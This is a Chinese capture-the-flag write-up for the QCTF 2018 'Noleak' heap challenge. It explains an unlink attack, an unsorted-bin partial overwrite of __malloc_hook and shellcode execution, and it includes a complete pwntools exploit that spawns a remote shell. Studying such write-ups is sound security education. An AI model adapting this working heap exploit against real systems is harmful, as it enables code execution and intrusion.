欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)

程序员文章站 2022-05-06 09:41:51
...

本题主要考察对堆的利用,需要有一定的背景知识,本文也参考了几篇大佬的Writeup,让本文尽可能详细。

题目分析

checksec:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
本题的RELRO是完全开启的,意味着我们不能通过修改GOT表来进行攻击

以下是源代码:
main函数
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
delete函数:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
这里可以看到free之后没有把指针置空,可能有UAF或者Dubble Free

edit函数:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
在本函数中,没有检测大小就直接写入,明显的堆溢出漏洞
总的来说,本题的漏洞比较明显,不过对于漏洞的利用还是有点复杂

基础知识

chunk结构

本题是64位程序,按64位说明,32位自行转化一下即可。
allocated chunk:指针指向数据部分,chunk大小为分配空间大小加上0x10(pre_size和size都是8bytes)
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
free chunk:指针指向fd(如果未置空,因此能够修改chunk的结构)
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
在size中,最后一位为0表示前一个chunk为free,为1表示allocated

__malloc_hook

前面已经说过,本题无法利用修改GOT表进行攻击,因此我们考虑修改__malloc_hook来执行shellcode。只要我们能把__malloc_hook的值修改为shellcode的地址即可实现。
那么, __malloc_hook在什么地方呢?

malloc机制中的unsorted bin、small bins以及large bins中的双向链表中的第一个chunk以及最后一个chunk中的 fd\bk 字段,都指向了一个结构(类型为malloc_state,变量名称为arena)的固定偏移的位置,在本题中,当我们free一个unsorted bin时,它的fd指针会指向libc中main_arena+0x58地址处。而在这个结构之上的固定偏移位置,则是 __malloc_hook 的地址(其值被默认设置为null)

漏洞利用

本题的漏洞利用思路为利用堆溢出修改chunk的结构,通过unlink修改buf数组中指向的位置,利用edit函数然后把shellcode写入bss段,然后再利用edit函数修改__malloc_hook为bss段地址来执行shellcode,详细过程如下

  1. 调用add函数在堆上创建两个chunk,此时堆结构如下:
    . 攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
  2. 使用edit函数修改chunk0的数据区,在其中伪造一个chunk,并通过堆溢出修改chunk 1的pre_size,此时堆机构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
    这样,当我们delete buf[1]时,由于我们伪造了一个chunk,并且的状态为free,就会把chunk1和伪造的chunk合并,合并会执行unlink操作,具体过程如下:

伪造chunk->fd->bk == 伪造chunk->bk;
伪造chunk->bk->fd == 伪造chunk->fd;

unlink函数

>void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
	FD = P->fd;
	BK = P->bk;
	if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
	       malloc_printerr(check_action,"corrupted double-linked list",P);
	else
	       {
		       FD->bk = BK;
		       BK->fd = FD;
	       }
}

但是在执行unlink之前,系统会先检查伪造的chunk是否满足:

伪造chunk->fd->bk == 伪造chunk &&伪造chunk->bk->fd == 伪造chunk

当我们按上面的方法构造chunk时,fd和bk是满足条件的

  1. 调用delete函数删除buf[1],此时会执行unlink操作,buf[0] = buf[-3] (buf-0x18)

  2. 调用edit编辑buf[0],payload为p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20),此时buf[0]指向bss段首部,buf[1]指向buf,并且我们在buf中又伪造了一个chunk,buf结构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)

  3. 再次调用add申请两个chunk,此时buf结构如下
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
    堆结构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
    可以看出buf[2]指向的地址为buf[0]正常malloc时候的地址+0x10,这是因为我们free buf[1]时进行了合并,chunk1和伪造的chunk都合并进入了top chunk

  4. 调用delete删除buf[2],buf[2]指向的chunk会被收入unsorted bin,此时堆结构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)

  5. 调用edit修改buf[2],payload为p64(0) + p64(buf + 0x8 * 4),这样的话之前在buf中伪造的chunk也进入了unsorted bin

  6. 再调用add申请一个和chunk2一样大小的chunk,这样unsorted bin中就只剩下伪造的chunk,所以main arena+0x88的地址就被留在了buf[6]

  7. 调用edit向buf[1](buf)中写入payload:p64(bss) + p64(buf) + p64(0) * 4 + ‘\x10’,这样就把buf[6]修改为__malloc_hook的地址

这里说一下为什么传’\x10’进去就够了
我们看一下题目给的 libc,找到malloc_trim(),反编译,如下图所示
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
然后是malloc_trim()的源代码
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
对比可知,其中的0x3c4b20就是main_arena的地址,而__maloc_hook在libc中的地址为0x3c4b10
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
libc被加载到文件中是按页加载的,同一页中只有最低3位不同,而main_arena的偏移(main_arena+0x58)和__malloc_hook很近,只有最低两位不同,因此把最后两位换成0x10即可

  1. 调用edit向buf[0](bss首部)中写入shellcode

  2. 调用edit向buf[6]中写入shellcode的地址

  3. 再调用一次add,当执行malloc时就执行了我们的shellcode

Exp

from pwn import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Size: ")
	r.sendline(size)
	print r.recvuntil("Data: ")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index: ")
	r.sendline(index)

def edit(index, size, content):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index: ")
	r.sendline(index)
	print r.recvuntil("Size: ")
	r.sendline(size)
	print r.recvuntil("Data: ")
	r.send(content)


r = remote("111.198.29.45", 39021)
context(arch = "amd64", os = 'linux')
elf = ELF("./Noleak/timu")
libc = ELF("./Noleak/libc-2.23.so")
malloc_hook = libc.symbols['__malloc_hook']
bss = 0x601020
buf = 0x601040


#	chunk 0 
add(str(0x90), 'a\n')
#	chunk 1
add(str(0x90), 'b\n')
#	fade chunk
#	pre_size, size
payload = p64(0) + p64(0x91) 
#	fd, bk  
payload += p64(buf - 0x18) + p64(buf - 0x10)  
payload += p64(0) * 14
#	change chunk size of 1
payload += p64(0x90) + p64(0xa0)  

edit('0', str(len(payload)), payload)
delete('1')
payload = p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20)
#	change buf[0] pointer to bss, buf[1] to buf
edit('0', str(len(payload)), payload) 

#	chunk 2
add(str(0x100), 'c\n')
#	chunk 3
add(str(0x100), 'd\n')

delete('2')
payload = p64(0) + p64(buf + 0x8 * 4)
edit('2', str(len(payload)), payload)

#	chunk 4, addr is the same with chunk2
add(str(0x100), 'e\n')

payload = p64(bss) + p64(buf) + p64(0) * 4 + '\x10'
edit('1', str(len(payload)), payload)

shellcode = asm(shellcraft.sh())
edit('0', str(len(shellcode)), shellcode)
#	change malloc hook
edit('6', '8', p64(bss))

print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size: ")
r.sendline('1')

r.interactive()

成功得到shell:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)

相关标签: 链表 堆栈